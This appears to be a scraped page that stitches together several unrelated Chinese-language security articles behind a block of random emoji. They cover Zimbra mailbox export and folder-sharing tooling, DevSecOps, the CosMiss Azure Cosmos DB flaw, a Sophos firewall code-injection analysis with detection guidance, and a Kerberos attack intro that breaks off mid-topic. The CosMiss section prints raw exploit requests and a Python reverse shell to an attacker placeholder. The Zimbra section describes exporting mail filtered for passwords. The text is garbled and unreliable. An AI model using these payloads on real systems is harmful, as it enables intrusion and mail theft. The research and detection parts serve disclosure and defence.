😜 😉 😇 😮 😝 😞 😒 😪 😂 😬 😯 😃 😄 😘 😪 😛 😤 😑 😦 😯 😗 😋 😡 😤 😊 😨 😉 😬 😍 😏 😨 😔 😝 😀 😡 😝 😅 😧 😋 😔 😨 😗 😍 😨 😝 😈 😫 😤
😍 😍 😌 😅 😫 😏 😫 😗 😢 😇 😃 😍 😮 😃 😋 😮 😢 😦 😭 😢 😢 😔 😧 😥 😢 😁 😠 😀 😙 😅 😑 😕 😌 😊 😞 😕 😑 😡 😔 😘 😙 😂 😝 😬 😜 😕 😌 😞
😓 😖 😏 😑 😇 😦 😯 😊 😕 😃 😬 😏 😉 😯 😦 😩 😊 😛 😟 😨 😛 😥 😗 😄 😊 😀 😉 😇 😧 😅 😨 😚 😖 😑 😅 😚 😄 😅 😃 😤 😒 😉 😌 😭 😘 😊 😅 😄
😎 😆 😁 😯 😟 😌

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的功能,實現郵件導出和文件夾共享,分享開發細節。

0x01 簡介本文將要介紹以下內容:

郵件導出

文件夾共享

開源代碼

0x02 郵件導出Zimbra支持導出當前郵箱的所有郵件,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Import/Export,如下圖

1.png

接下來,通過抓包的方式分析實現流程,進而使用程序實現這部分功能

1.默認配置導出郵件默認配置下,會導出所有郵件,以壓縮包的形式保存

訪問URL示例:

2.png

參數解析:

admin%40test.com為郵箱用戶,可以用~替代

filename=All-2022-07-27-181056為存在記錄時保存的文件名,2022-07-27-181056對應的時間格式為年-月-日-時分秒,時間為帶時區的時間,需要計算時差

emptyname=No+Data+to+Export為空記錄時保存的文件名

在程序實現上,需要同Web操作的格式保持一致,代碼細節:

(1)構造保存的文件名

3.png

(2)保存文件

保存文件時使用binary寫入

4.png

實現代碼示例:

5.png

2.加入篩選條件導出郵件高級選項下,可以添加篩選條件,導出特定的郵件

訪問URL示例:

6.png

參數解析,新增加了以下參數:

start=1658818800000為篩選的起始時間,格式為unix時間戳,沒有額外計算時差

end=1658991600000為篩選的結束時間,格式為unix時間戳,沒有額外計算時差

query=content%3Apassword為篩選的關鍵詞,作用是查詢正文中帶有password關鍵詞的郵件

篩選條件的語法可參考:https://wiki.zimbra.com/wiki/Zimbra_Web_Client_Search_Tips

代碼實現細節:

(1)時間格式轉換的示例代碼

時間轉換成秒:

7.png秒轉換成時間:

8.png

實現代碼示例:

9.png 10.png 11.png

0x03 文件夾共享1.流程分析Zimbra支持將當前郵箱的文件夾共享至其他用戶,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Sharing,如下圖

12.png

文件夾共享可選擇以下三個文件夾:

Inbox

Sent

Junk

如下圖

13.png

設置共享屬性如下圖

需要區別以下設置:

(1)Role

Viewer只能查看郵件

Manager可以修改郵件

(2)Message

Send stanard message,在設置後會向目的郵箱發送一份確認郵件

Do not send mail about this share,不發送確認郵件

這裡可以通過抓包分析每項設置對應的具體數值

示例數據包1:

14.png

格式分析:

(1)

id='2'表示Inbox

Sent對應id='5'

Junk對應id='4'

通過測試,還可以指定Drafts,對應id='6'

(2)

d='test1@test.com'表示可訪問共享的郵箱

perm='r'表示權限為可讀,對應Viewer

Manager對應的配置為perm='rwidx',表示權限為讀、寫、添加和刪除

如果設置了Send stanard message,在設置後會向目的郵箱(例如test1@test.com)發送一份確認郵件,數據包格式示例:

15.png

郵箱test1@test.com會收到一份郵件,確認是否接受文件夾共享

2.代碼實現(1)添加文件共享

需要指定目標郵箱和共享文件夾

添加文件共享成功的響應中返回共享文件夾對應的zid

實現代碼示例:

16.png 17.png 18.png

(2)發送文件共享請求

需要指定目標郵箱

實現代碼示例:

19.png 20.png

這裡需要注意,只有在添加文件共享後,發送文件共享請求才能成功返回200,否則返回500,提示invalid request: no matching grant

(3)刪除文件共享

需要指定目標郵箱對應的zid和共享文件夾,zid可在添加文件共享成功的響應中獲得

實現代碼示例:

21.png 22.png

0x04 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加以下五個功能:

AddShare:添加文件夾共享,默認權限為rwidx

ExportMail:導出帶有搜索條件的郵件,可指定日期和關鍵詞

ExportMailAll:導出所有郵件

RemoveShare:刪除當前郵箱的文件夾共享

SendShareNotification:在添加文件夾共享後,向目標郵箱發送一封確認郵件

0x05 小結本文擴充了Zimbra SOAP API的調用方法,添加五個實用功能,實現方法和思路還可在XSS漏洞上進行測試。

許多安全領導者對實施DevOps 持懷疑態度,儘管它有很多好處,包括快速軟件交付和提高代碼質量。如果您發布的軟件存在漏洞,那麼您的持續交付週期有多快都沒有關係。網絡安全是DevOps 極度缺乏的一件事。

這就是DevSecOps 發揮作用的地方——一種將安全性轉移到軟件開發生命週期(SDLC) 中的開發方法。 DevSecOps 強調在最早階段實施安全檢查的重要性。

在本文中,我們向您展示了為DevOps 增加安全性的好處、採用DevSecOps 的主要挑戰,以及使用AWS 服務實施DevSecOps 的最佳實踐。

為什麼DevOps 不安全? DevOps是工具、實踐和文化理念的結合,可讓IT 公司減少軟件開發所需的時間。這是通過打破開發、測試和運營之間的傳統障礙來實現的。 DevOps 實踐包括軟件開發過程中所有活動的自動化和監控,使公司能夠實現持續集成(CI) 和持續交付(CD)。您可以結合DevOps 和區塊鏈、人工智能、嵌入式、移動和其他類型的技術。

構建高效的CI/CD 管道可以大大加快開發活動和產品發布速度,從而為解決方案供應商節省時間和金錢。

然而,如今IT 公司實施更快、更具創新性的軟件開發方法還不夠。他們還需要牢記網絡安全。按照設計,DevOps 缺乏安全性有以下幾個原因:

image.png

DevOps 的安全挑戰

傳統上,信息安全是在軟件開發週期的最後階段處理的,結果是檢測需要在嚴格的時間限制內消除的安全漏洞。對於DevOps 方法,以傳統方式保護每個版本需要付出太多努力。

DevOps 通常通過雲優先架構和容器化來實現。這些都創造了更廣泛的攻擊面和新的潛在漏洞。

必須在每次迭代期間更新或至少檢查安全機制。然而,發布團隊有時會為了趕上交付期限而忽略這些建議。

幸運的是,我們有DevSecOps:一種左移思維,其中安全是共同的責任,因此開發人員和IT 運營專家都牢記安全要求。讓我們看看DevSecOps 與DevOps 有何不同以及它提供了哪些好處。

什麼是DevSecOps? DevSecOps在軟件開發的早期階段實施持續和自動化的安全機制,並確保整個週期的安全。安全不再是單獨部門的職能,而是團隊文化和實踐中不可或缺的一部分。

將安全性集成到您的DevOps 團隊可幫助您的公司實現以下優勢:

image.png

應用DevSecOps 方法的好處

DevSecOps 使您可以將更多時間用於增加客戶價值,而將更少的時間和金錢用於修復在交付過程後期或產品使用過程中發現的漏洞。但左移並非沒有局限性。讓我們來看看您可能遇到的主要挑戰。

實施DevSecOps 的挑戰將安全性集成到DevOps 中需要一些組織顯著轉變其工作流程。這不僅會影響網絡安全系統,還會影響組織和業務流程。這樣的變化總會帶來無數的挑戰,最好提前做好準備。讓我們探討四大挑戰。

image.png

實施DevSecOps 的4 大挑戰

1.改變既定的企業文化組織遇到的最常見問題是採用DevSecOps 所需的文化變革。一直使用傳統或敏捷開發方法的人通常難以適應完全不同的方法。

當轉向DevSecOps 時,您的團隊必須學習很多關於網絡安全的知識,對工作問題變得更加開放,並將安全實踐作為他們日常工作的一部分。許多組織低估了這些變化的挑戰性,因此未能充分實施DevSecOps。在向DevSecOps 過渡期間,確保為您的團隊提供足夠的知識、支持和領導。

2. 結合敏捷和DevSecOps另一個問題是一些組織試圖用DevSecOps 完全替代敏捷工作流。當這種嘗試失敗時,他們決定DevSecOps 不適合他們。這裡真正的挑戰是以最有效的方式為您的組織結合敏捷和DevSecOps。

DevSecOps 可以補充敏捷。雖然敏捷在開發過程中引入了協作、迭代和持續反饋,但DevSecOps 可以加強QA 和交付過程,同時確保您的代碼始終安全。

3.遵守政府規定對於必須遵守嚴格網絡安全要求的行業組織而言,實施DevSecOps 更加困難:醫療保健、製造、金融服務等。這些行業的法規不夠靈活,無法讓公司全面引入DevSecOps 實踐。

這就是組織通常必須將靈活且安全的DevOps 與傳統開發方法相結合的原因。美國食品和藥物管理局等一些政府機構確實允許公司以他們想要的任何方式改變他們的開發實踐,前提是他們能夠確保高水平的安全性並重新認證他們的工作流程。

4. 集成傳統、DevOps 和DevSecOps 工具採用DevSecOps 也存在技術挑戰。將防病毒軟件和防火牆、DevOps 和DevSecOps 工具等傳統安全工具集成到一個系統中需要對組織的基礎架構進行重大更改。 CI/CD 管道、二進制庫、靜態應用程序安全測試、軟件組成分析和許多其他工具通常來自不同的供應商,但您需要讓它們協同工作。

克服這一挑戰的最佳方法是全面規劃DevSecOps 工具的實施,並逐一部署您選擇的工具。一次部署和配置它們更快,看起來更方便,但實際上它會造成混亂,並導致安全漏洞。

研究這些挑戰並規劃解決這些挑戰的方法是順利實施DevSecOps 的關鍵。現在,我們可以看看必須具備的安全實踐和機制,以確保您的DevOps 流程是安全的。下一節我們主要講述將安全性集成到DevOps 中的最佳實踐。

我們最近在Azure Cosmos DB中發現了一個很嚴重的漏洞,即Cosmos DB Notebooks缺少身份驗證檢查。我們將該漏洞命名為“CosMiss”。簡而言之,如果攻擊者知道Notebook的“forwardingId”(即Notebook Workspace的UUID),他們就擁有Notebook的全部權限,包括讀寫訪問權,以及修改運行Notebook的容器的文件系統的能力。只要修改容器文件系統(即用於臨時Notebook託管的專用工作區),我們就能夠在Notebook容器中實現遠程代碼執行(RCE)。

發現該漏洞後,Orca Research Pod立即將其報告給微軟安全響應中心(MSRC),後者在兩天內修復了這個嚴重問題,這比我們在Azure Synapse中發現的Synapse漏洞的響應速度要快得多。我們驗證了修正版,可以確認現在所有的Cosmos DB Notebook用戶在訪問Notebook之前都需要在請求頭中有Authorization(授權)令牌。我們要感謝微軟的合作和快速行動,以堵住該漏洞。

CosMiss漏洞簡介該漏洞存在於Azure Cosmos DB Jupyter Notebooks,這是微軟的快速NoSQL數據庫,廣泛用於微軟自己的電子商務平台和零售行業,用於存儲目錄數據和訂單處理管道中的事件來源。

Jupyter Notebooks內置於Azure Cosmos DB中,被開發人員用來執行常見任務,比如數據清理、數據探索、數據轉換和機器學習。我們在研究中發現,Cosmos DB Jupyter Notebooks缺少身份驗證檢查。

這是特別危險的,因為開發人員使用Cosmos DB Notebooks來創建代碼,經常含有高度敏感的信息,比如嵌入在代碼中的機密信息(secrets)和私鑰。

“CosMiss”漏洞允許未經身份驗證的用戶獲得對Azure Cosmos DB Notebooks的讀寫訪問權、注入代碼並覆蓋代碼,從而實施遠程代碼執行(RCE)。

然而,攻擊者只有在知道Notebook Workspace的UUID(又叫forwardingId)的情況下才能夠利用該漏洞。據我們所知,獲得forwardingId的唯一方法是,以經過驗證的用戶的身份打開Notebook。但是forwardingId並未被記錄為是機密信息,所以我們沒有任何理由相信用戶會把它當成機密信息。

2022年10月3日,Orca Security向微軟報告了該漏洞,微軟在兩天內修復了該漏洞,現在要求每個Notebook會話的請求頭中有授權令牌。

Cosmos DB Notebooks簡介CosMiss漏洞存在於Cosmos DB Jupyter Notebooks中。 Azure Cosmos DB是一個快速NoSQL數據庫。 Azure Cosmos DB包含Jupyter Notebooks,這是一種開源交互開發環境(IDE),以便開發人員創建、執行和共享含有實時代碼、方程、可視化和敘事文本的文檔。由於開發人員使用Cosmos DB Notebooks來創建代碼,因此可能含有高度敏感的信息,比如嵌入在代碼中的機密信息和私鑰。

利用CosMiss的概念證明為了演示該漏洞,我們使用Azure Table API和Serverless Capacity模式創建了Cosmos DB。該漏洞還在Core SQL api(推薦)和吞吐量配置的部署環境上進行了驗證。

Cosmos DB Data Explorer blade中的Notebooks功能讓客戶可以使用Jupyter功能(在Python、C#或其他運行時環境中)訪問和可視化其數據。此外,客戶使用該功能檢查來自Cosmos DB的數據,並檢查可以使用API進行集成的其他數據源。

1. 不需要授權頭當用戶創建新的Notebook後,phoenixServiceUrl創建下列端點,它將生成以下項目:

POST

/api/controlplane/toolscontainer/cosmosaccounts/subscriptions/[tenant-id]/resourceGroups/Orca-

Research/providers/Microsoft.DocumentDB/databaseAccounts/orca-cosmos-

dev/containerconnections/multicontainer HTTP/2

Host: tools.cosmos.azure.com

Content-Length: 88

Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'

Authorization: Bearer

eyJ0eXAiOiJKV1QiLdaaaxxWMFRPSSIsImtpZCI6IjJaUXBKM1VwYmpBWVhZR2FYRUpsOGxWMFRPSSJ9.eyJhdWQddaaam5ldC8yMjdkY2ExZC1iMWE1LTQ0MDEtYTVmZi05N2Q5 OTMxZWE4YmUvIiwiaWF0IjoxNjY0NzE4NTI3LCJuYmYiOjE2NjQ3MTg1MjcsImV4cCI6MTY2NDcyMzIxOSwiYWNyIjoiMSIsndkbkZ3d1lKQUNNNjJjdmkrbERTVnRpQWIvdEpDOW 9HV2VFd2pwWGhsL2x3aStzVzZWWHB5UmV5ZFpwMVgiLCJhdI0N2QtOTc0ZTUzY2JkZjNjIiwiYXBwaWRhY3Icadasdddddab3NtbyIsIm9pZCI6IjNhMzJkNmU1LWEyYzMtNGM5M S1iOTA5LTc0N2YxNjQ2NDg3MSIsInB1aWQiOiIxMDAzMjAwMjM2RUJBODZEIiwicmgiOiIwLkFZSUFIY3A5SXFXeEFVU2xfNWZaa3g2b3ZrWklmM2tBdXRkUHVrUGF3ZmoyTUJPQ0 FHay4iLCJzY3AiOiJ1c2VyX2ltcGVyc29uYXRpb24iLCJzdWIiOiJZTElsRzB1anZDaktlSWo5OHozRk94R3ZvTjl2Umx3UFRtczlOa1dfQng0IiwidGlkIjoiMjI3ZGNhMWQtYj FhNS00NDAxLWE1ZmYtOTdkOTkzMWVhOGJlIiwidW5pcXVlX25hbWUiOiJjb3Ntb0BvcmNhc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1cG4iOiJjb3Ntb0BvcmN hc2VjdXJpdHlyZXNlYXJjaC5vbm1pY3Jvc29mdC5jb20iLCJ1dGkiOiJuZ3VDVm1qZFhrS3RUSW5BaG9GbEFBIiwidmVyIjoiMS4wIiwieG1zX3RjZHQiOjE2MTg4MTYwODl9.Gyd 3LXwzBG1yj-JfO0PCXOyD0exC7U-MCXwJBdsadcadad3xLIRZ7NqBq5BhE0WXLV2cgziYf-CAT9QT6oy1yIn58RaRdMojlVbhCpxlfFTdnsOXiorzNwTHzcwwvWsM4fbl2vV-RKMO

Content-Type: application/json

Sec-Ch-Ua-Mobile:0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Sec-Ch-Ua-Platform: 'macOS'

Accept: /

Origin: https://cosmos.azure.com

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://cosmos.azure.com/

Accept-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{'cosmosEndpoint':'https://orca-cosmos-dev.documents.azure.com:443/','poolId':'default'}

1.png

圖1

2.png

圖2

響應如下:

3.png

圖3

我們可以看到以下項目被創建:

1. 一個https://seasia.tools.cosmos.azure.com端點。

2. 唯一端口(端口範圍是10000-10009,後面有詳細介紹)。

3. 充當會話/Notebook ID的唯一值(UUIDv4),又叫forwardingId(上面例子中的ab83e033-1670-4bac-a186-32a1c0dddfbc)。

我們可以看到服務器在後台發送的以下端點:

4.png

圖4

我們目前的forwardingId似乎是27f180bc-cf93-4c42-b23e-f27a5085da57。

如果檢查我們的Notebook服務器(即https://seasia.tools.cosmos.azure.com:10007/)發送的各種請求,似乎所有發送到服務器的請求都含有授權頭,如下面截圖所示:

5.png

圖5

當我們試圖刪除授權頭並發送相同的請求時,我們看到無需授權頭即可列出同一台服務器的不同Notebook。

https://seasia.tools.cosmos.azure.com:10007/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks

6.png

圖6

由於Cosmos DB Table和Python Query基於Jupyter(+Tornado服務器),我們可以查看作為平台一部分的各種端點:

https://github.com/jupyter-

server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ]

( https://github.com/jupyter-

server/kernel_gateway/blob/master/kernel_gateway/jupyter_websocket/swagger.json ) # 36

7.png

圖7

在檢查各種Security Definitions(安全定義)時,我們可以假設默認情況下當前Security Configurations(安全配置)並沒有正確設置,因為需要授權方法用授權頭或查詢字符串來設置。

考慮到這一點,我們現在可以嘗試濫用這種錯誤配置來操縱各種Notebook和模板。

2. 覆蓋、刪除和注入代碼現在不妨嘗試覆蓋當前的Notebook數據。首先,我們在Notebook中編寫一些示例代碼。

8.png

圖8

然後我們保存它:

9.png

圖9

我們還可以通過Burp來檢查Notebook(Untitled.ipynb):

10.png

圖10

此外,我們可以從以下端點獲取kernel_id:

https://seasia.tools.cosmos.azure.com:10002/api/containergateway/ab83e033-1670-4bac-a186-

32a1c0dddfbc/api/kernels/

發送上述請求,我們將獲得以下id:

11.png

圖11

現在不妨使用以下的JSON攻擊載荷向Notebook本身發送PUT請求,從而覆蓋隨機的Notebook:

source parameter ⇒ “print(’Hacked’)”

text parameter ⇒ “print(’Hacked’)”

PUT/api/containergateway/27f180bc-cf93-4c42-b23e-f27a5085da57/api/contents/notebooks/Untitled.ipynb HTTP/2

Host: [seasia.tools.cosmos.azure.com:1000](

Content-Length: 983

Sec-Ch-Ua: 'Google Chrome';v='105', 'Not)A;Brand';v='8', 'Chromium';v='105'

Content-Type: application/json

Sec-Ch-Ua-Mobile:0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Sec-Ch-Ua-Platform: 'macOS'

Accept: */*

Origin: [

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: [

Accept-Encoding: gzip, deflate

Accept-Language: en-IL,en;q=0.9,he-IL;q=0.8,he;q=0.7,en-US;q=0.6,pl;q=0.5

{'kernel':{'id':null,'name':'python3'},'name':'',

'content': {'cells': [{'cell_type': 'code', 'execution_count': 1, 'id': '47bdbef0-ea14-4960-8789-7983e63312dd', 'metadata': {'collapsed': true, 'execution': {'iopub.execute_input': '2022-10-02T08:06:27.283Z', 'iopub.status.busy': '2022-10-02T08:06:27.277Z', 'iopub.status.idle': '2022-10-02T08:06:27.299Z', 'shell.execute_reply': '2022-10-02T08:06:27.292Z'}, 'jupyter': {'outputs_hidden': false, 'source_hidden': false}, 'nteract': {'transient': {'deleting': false}}, 'trusted': true}, 'outputs': [{'name': 'stdout', 'output_type': 'stream', 'text': 'hacked\\n'}], 'source': 'print('Hacked!')'}], 'metadata': {'language_info': {'file_extension': 'ipynb', 'mimetype': 'application/json', 'name': 'python', 'version': '3.7'}, 'nteract': {'version': 'dataExplorer 1.0'}}, 'nbformat': 4, 'nbformat_minor': 5}, 'format': 'json', 'mimetype': null, 'size': 993, 'writable': true, 'path':'notebooks/Untitled.ipynb','type':'notebook'}

12.png

圖12

然後,我們通過退出Notebook本身(點擊X符號)來檢查更新後的Notebook,然後通過點擊Tables API標題右側的Refresh(刷新)按鈕來刷新表/Notebook:

13.png

圖13

我們可以看到,通過將精心設計的攻擊載荷直接發送到服務器,Notebook中的代碼被覆蓋了。我們還設法檢索任何Notebook,刪除並向其中註入代碼,不管我們是連接到Azure,還是只是一個身份未經認證的用戶。

14.png

圖14

在下面的視頻中,我們演示上述概念證明。

15.png

圖15

3. 遠程代碼執行(RCE)當通過Azure UI加載Cosmos Data Explorer時,Explorer儀表板由以下文件構建:

/home/cosmosuser/.local/lib/python3.6/site-packages/jupyter_client/kernelspec.py

現在,由於我們成功地覆蓋了/home/cosmosuser目錄中的任何文件,我們可以操縱該文件,並向其添加以下行:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\'ATTACKER_ID\\',ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\\'/bin/bash\\')

這樣一來,當Data Explorer加載時,整個python代碼的這部分也將被執行,並最終將通過客戶機為任何遠程攻擊者提供反向shell。

16.png

圖16

通過發送含有文件原始內容+ RCE行的PUT請求來修改文件:

17.png

圖17

刷新Data Explorer頁面後,我們應該得到一個反向shell。

18.png

圖18

以下視頻演示了這個RCE:

19.png

圖19

在趨勢科技最近發布的漏洞報告中,研究團隊的Guy Lederfein和Dusan Stevanovic詳細介紹了Sophos防火牆最近打過補丁的代碼注入漏洞。該漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。成功利用此漏洞可能導致以根用戶的權限執行遠程代碼。以下是關於CVE-2022-3236的介紹。

Sophos最近修復了Sophos Firewall v19.0 MR1(19.0.1)及以前版本中的代碼注入漏洞。此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。未經身份驗證的遠程攻擊者可以通過向受影響的服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致使用根用戶的權限進行遠程代碼執行。

漏洞利用Sophos Firewall是一種網絡安全解決方案,它可以部署在專門構建的設備、云網絡(AWS/Azure)、虛擬設備或x86 Intel硬件上的軟件設備上。防火牆應用支持多種網絡安全特性,包括應用感知路由、TLS檢測、深層包檢測、遠程接入VPN、日誌、報表等。 Sophos Firewall公開了一個web管理控制台,用於通過TCP端口4444上的HTTPS管理設備的配置。此外,Sophos Firewall公開了一個用戶門戶,用於更新用戶的詳細信息或通過TCP端口443上的HTTPS下載身份驗證客戶端。

HTTP是RFC 7230-7237和其他RFC中描述的請求/響應協議。客戶端向服務器發送請求,服務器又將響應發送回客戶端。 HTTP請求由請求行、各種標題、空行和可選消息正文組成:

其中CRLF表示新行序列回車(CR),後跟換行(LF)。根據使用的方法和Content-Type標頭,參數可以在RequestURI或消息正文中作為名稱-值對從客戶端傳遞到服務器。例如,使用GET方法傳遞一個名為“param”、值為“1”的參數的簡單HTTP請求可能如下所示:

使用POST方法的相應HTTP請求可能如下所示:

JavaScript對象表示法(JSON)是一種數據交換格式,用於創建設備可解析、人類可讀的輸出。 JSON對象具有以下語法:

1.對像用花括號{}括起來。

2.對象由逗號(“,”)字符分隔的零個或多個項目組成。

3.項目由秘鑰和值組成。秘鑰的值由冒號(“:”)字符分隔。

4.秘鑰必須是用引號括起來的字符串。

5.值必須是有效的類型。 JSON定義了7種值類型:字符串、數字、對象、數組、true、false和null。

6.數組是用方括號[]括起來的對象。

7.數組由零個或多個字符串、數字、JSON對象、數組、布爾值或由逗號(“,”)字符分隔的空類型對象組成。

JSON對象示例如下: {“name”:”bob”, “age”:30}。

由Sophos Firewall公開的web管理和用戶門戶web界面都運行在Apache httpd服務器後面的Jetty服務器上。通過這些接口發出的配置和診斷請求通過請求提交給Controller servlet。這個servlet基於模式HTTP請求參數檢索適當的EventBean對象。例如,如果模式HTTP請求參數設置為151或451,則分別調用WebAdminAuth或UserPortalAuth類來處理請求。在每個類中,都會調用CSCClient類的generateAndSendAjaxEvent()方法。

該方法解析json HTTP請求參數,並修改解析對像中的特定字段。然後調用send()方法,該方法反過來調用_send(),後者根據相關EventBean對象的模式添加模式JSON參數。然後,它將創建的JSON對像作為字符串(包括適當的標頭)通過TCP或UDP端口299發送到本地CSC服務器。

當CSC服務器接收到Jetty服務器提交的JSON對象時,它會驗證通過Perl腳本CyberAPIArch.pm中的validateJSON()方法提交的JSON對象。如果JSON對象包含一個名為_discriminator的項,則調用getValidationHash()方法。該方法遍歷_discriminator Perl哈希的每個秘鑰,表示字段名。每個字段名都與一個描述字段值和對象名之間映射的JSON對象相關聯。解析收到的JSON對象時解析的一些Perl對象(natrule、securitypolicy、hotspot等)包含一個帶有_discriminator項的模板,其中包含字段值及其關聯對象之間特定字段名的映射。該方法遍歷字段值,以檢查提交的JSON對像是否包含具有引用名稱和值的字段。如果是,它將檢索關聯的對象名,並嘗試使用eval函數將其解析為一個對象。

Sophos防火牆存在代碼注入漏洞,此漏洞是由於對發送到Controller終端的“JSON”參數中提交的JSON key進行了不正確的驗證。可以在HTTP請求中設置_discriminator項,經過一些修改後,這個JSON對像被發送到CSC服務器。但是,_discriminator項目集是未經修改發送的。一旦使用Perl腳本CyberAPIArch.pm的validateJSON() 方法被調用時,它將檢測這個項並調用getValidationHash()。 Perl方法遍歷$hashObj哈希對象,該對象包含一個名為_discriminator的項,其值是一個嵌套的哈希,其中的值項設置為發送的原始請求中的_discriminator項的值。

此值項被視為包含映射到對象名稱的字段值的嵌套哈希。因此,如果最初提交的JSON對象包含一個名為value的項,其值設置為這個嵌套哈希中的一個值,則將使用eval函數解析關聯的對象名稱。由於原始請求中的_discriminator項可以設置為帶有值和對象名稱之間的任意映射的JSON對象,因此可以提交惡意對象並將其連接到eval函數中,從而導致代碼注入。

Sophos嘗試使用RequestCheckFilter Java對像對請求參數(包括JSON對象)執行輸入驗證。該過濾器檢測帶有非ASCII可打印字符的請求參數和JSON key。但是,仍然可以提交包含ASCII可打印字符的任意請求參數和JSON key,包括_discriminator項。

未經身份驗證的遠程攻擊者可以通過向目標服務器發送精心編寫的請求來利用此漏洞。成功利用此漏洞可能導致在服務器上運行任意Perl命令,從而導致以root用戶的權限執行遠程代碼。

源代碼下面的代碼片段摘自Sophos Firewall 19.0.1版本,並由趨勢科技添加了額外的註釋。

來自反編譯的Java類cyberoam.sessionmanagement.RequestCheckFilter:

來自Perl腳本CyberAPIArch.pm:

檢測攻擊為了檢測試圖利用該漏洞的攻擊,檢測設備必須監視並解析端口443/TCP和4444/TCP上的流量。請注意,流量是用SSL/TLS加密的。在繼續進行下一步驟之前,檢測設備必須對流量進行解密。

基於被監視的TCP端口,檢測設備必須對包含以下字符串的Request- URI的HTTP GET和POST請求進行檢測:

對Webadmin Controller終端(TCP端口4444)的請求可以使用多部分/表單數據編碼。

Multipart/form-data 由多個部分組成,每個部分都包含一個Content Disposition標頭。每個部分由一串字符分隔。分隔部分的字符串由Content-Type標題行上的boundary關鍵字定義,它被設置為' multipart/form-data '。 Content-Disposition標頭包含一個名稱參數,描述要返回的表單元素。每個部分中可能會出現額外的標題行。每一行由一個新的行序列分隔。標頭文件以兩個連續的新行結束。下面是表單元素的數據,如果對像被分離並存儲在一個單獨的文件中,則filename參數提供要使用的建議文件名。下面是一個文件項的Content-Disposition標頭示例,其中boundary關鍵字是' TMSR ':

如果發現對上述終端的請求,檢測設備必鬚根據Content-Type標頭中描述的編碼解析其參數,並蒐索json參數。如果發現,檢測設備必須使用以下任何合適的方法檢查json參數值。

方法1:如果檢測設備能夠解析JSON,它必須將JSON參數解析為JSON對象。檢測設備必須解析密鑰為字符串“_discriminator”的任何項(可能嵌套)。如果被發現,應該認為該流量是惡意的,因為利用該漏洞的攻擊很可能正在進行中。

方法2:如果檢測設備不具備解析JSON的能力,則必須將JSON參數作為字符串進行檢查,並檢查其是否包含字符串“_discriminator”。如果被發現,應該認為該流量是惡意的,因為利用該漏洞的攻擊很可能正在進行中。

需要注意的其他事項:

1.參數名稱和值可能是URL編碼的,必須在應用上述檢測之前進行解碼;

2.URI和參數名稱(“json”)和值(“_discriminator”)的字符串匹配必須以區分大小寫的方式執行;

3.HTTP標頭名稱(即“Content-Type”)和值(即“multipart/form data”)的字符串匹配必須以不區分大小寫的方式執行。

Kerberos认证流程

前言

本文主要分享最近学习的关于域内Kerberos认证的一些攻击手法,以自我的理解为主,从原理理解切入到基本工具利用来阐述,个人的理解分析较为啰嗦,嫌太兀长的可以跳着看就好,还请各位谅解。如有错误,请师傅们提出更正
对于Kerberos认证流程只是简单的描述带过,下面有很多细节没有说明,比如PAC,S4U2SELF(委派),S4U2PROXY(委派)等。详细的解读推荐翻阅daiker师傅写的相关文章
本文主要环境利用的是红日靶场VulnStack

  • 域控 owa win2008R2 192.168.52.138
  • 域主机 sut1 win7 192.168.52.130
  • 域外主机 k0uaz win7(可访问到域控) 192.168.52.162主要涉及主体和角色
  • Domain Controller 域控制器,简称DC,一台计算机,实现用户、计算机的统一管理
  • Key Distribution Center 秘钥分发中心,简称KDC,默认安装在域控里,包括AS和TGS
  • Authentication Service 身份验证服务,简称AS,用于KDC对Client认证
  • Ticket Grantng Service 票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)
  • Active Directory 活动目录,简称AD,用于存储用户、用户组、域相关的信息。
  • Client 客户端,指用户。
  • Server 服务端,可能是某台计算机账户,也可能是某个服务。

过程和原理

qjzuucb3jys13813.png
上图中涉及到了三个请求返回过程:Client与KDC的AS,Client与KDC的TGS,Client与Server,详细的请求响应如下

  1. AS-REQ:Client向KDC(AS)发起一个认证请求,请求的凭据是Client的NTLM Hash加密的时间戳以及身份信息等
  2. AS-REP:AS使用Client NTLM HASH进行解密,若检验正确则返回用KRBTGT HASH加密的TGT票据(再TGS-REQ中发送到TGS并用于换取ST),TGT里面包含PAC
  3. TGS-REQ:Client获得TGT缓存在本地(不能解密),可用来向TGS换取访问相应服务的ST票据
  4. TGS-REP:TGS使用KRBTGT HASH解密TGT,若结果正确,返回用提供服务的服务器的Server Hash(机器用户HASH)加密的ST(server ticket)
  5. AP_REQ:Client拿着获得的ST去服务器请求资源
  6. AP_REP:Server使用自己的Hash解密ST,若解密正确,则拿着获取的PAC去访问KDC判断Client是否有权限访问。KDC解密PAC后获取用户sid以及所在组的信息,并根据访问控制表(ACL)判断权限。若符合,Server返回资源给Client

Kerberos相关安全问题

图片来自dariker师傅的文章

Pass The Key(Hash)

Pass the Hash

